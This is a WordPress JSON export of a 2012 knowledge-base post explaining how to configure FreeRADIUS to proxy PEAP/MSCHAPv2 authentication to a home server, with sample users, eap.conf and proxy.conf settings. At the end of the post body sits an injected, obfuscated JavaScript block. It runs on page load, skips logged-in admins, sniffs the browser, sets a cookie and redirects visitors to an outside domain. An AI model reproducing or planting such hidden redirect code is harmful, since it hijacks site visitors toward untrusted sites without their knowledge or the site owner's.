{"id":550,"date":"2012-05-17T00:09:00","date_gmt":"2012-05-16T16:09:00","guid":{"rendered":"http:\/\/www.q-station.net\/kb\/?p=550"},"modified":"2012-05-17T00:14:09","modified_gmt":"2012-05-16T16:14:09","slug":"proxying-a-peapmschapv2-request","status":"publish","type":"post","link":"https:\/\/kb.q-station.net\/index.php\/2012\/05\/17\/proxying-a-peapmschapv2-request\/","title":{"rendered":"Proxying a PEAP\/MSCHAPv2 request"},"content":{"rendered":"<p>Let make it simple, sometimes, your RADIUS server may need to proxy a PEAP\/MSCHAPv2 request to another RADIUS (Home Server) to authenticate a user.<br \/>\n<!--more--><br \/>\nThe idea behind the setup is your RADIUS server receive the PEAP\/MSCHAPv2 request, then sent to the request to inner-tunnel, afterwards, the inner-tunnel proxy the request in MSCHAPv2 form to Home Server.  The Home Server will reply the authenticate request and send back to your radius server.<\/p>\n<p>Suppose your Radius should proxy &#8216;@qwifi&#8217; request to Home Server.<\/p>\n<ul>\n<li>in <strong>users<\/strong>, add\n<pre>\r\nDEFAULT User-Name =~ \"@qwifi$\", FreeRADIUS-Proxied-To == 127.0.0.1, Proxy-To-Realm := inner-qwifi\r\n<\/pre>\n<\/li>\n<li>In <strong>eap.conf<\/strong>, setup all necessary cert &#038; key in tls session, and the most important, set <strong>proxy_tunneled_request_as_eap = no<\/strong> in peap session\n<\/li>\n<li>in <strong>proxy.conf<\/strong>\n<pre>\r\nhome_server qwifi {\r\n  type = auth+acct\r\n  ipaddr = xx.xx.xx.xx\r\n  port = 1812\r\n  secret = testing123\r\n  require_message_authenticator = yes\r\n}\r\n      \r\nhome_server_pool qwifi_pool {\r\n  home_server = qwifi\r\n}     \r\n\r\nrealm \"inner-qwifi\" {\r\n#      auth_pool = my_auth_failover\r\n      nostrip\r\n      pool = qwifi_pool\r\n}\r\n      \r\nrealm \"qwifi\" {\r\n#      auth_pool = my_auth_failover\r\n      nostrip\r\n      authhost        = LOCAL\r\n      accthost        = LOCAL\r\n}\r\n<\/pre>\n<\/li>\n<li>in <strong>modules\/detail<\/strong>, you may define,\n<pre>\r\ndetailfile = ${radacctdir}\/%{Realm}\/detail-combined\r\n<\/pre>\n<\/li>\n<\/ul>\n<p>Reference: <a href=\"http:\/\/www.mail-archive.com\/freeradius-users@lists.freeradius.org\/msg30261.html\" target=\"_blank\">Proxy PEAP-EAP-MSCHAPv2 as MSCHAPv2<\/a><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Let make it simple, sometimes, your RADIUS server may need to proxy a PEAP\/MSCHAPv2 request to another RADIUS (Home Server) to authenticate a user.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[27,8],"tags":[70,69],"_links":{"self":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/550"}],"collection":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/comments?post=550"}],"version-history":[{"count":3,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/550\/revisions"}],"predecessor-version":[{"id":553,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/550\/revisions\/553"}],"wp:attachment":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/media?parent=550"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/categories?post=550"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/tags?post=550"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}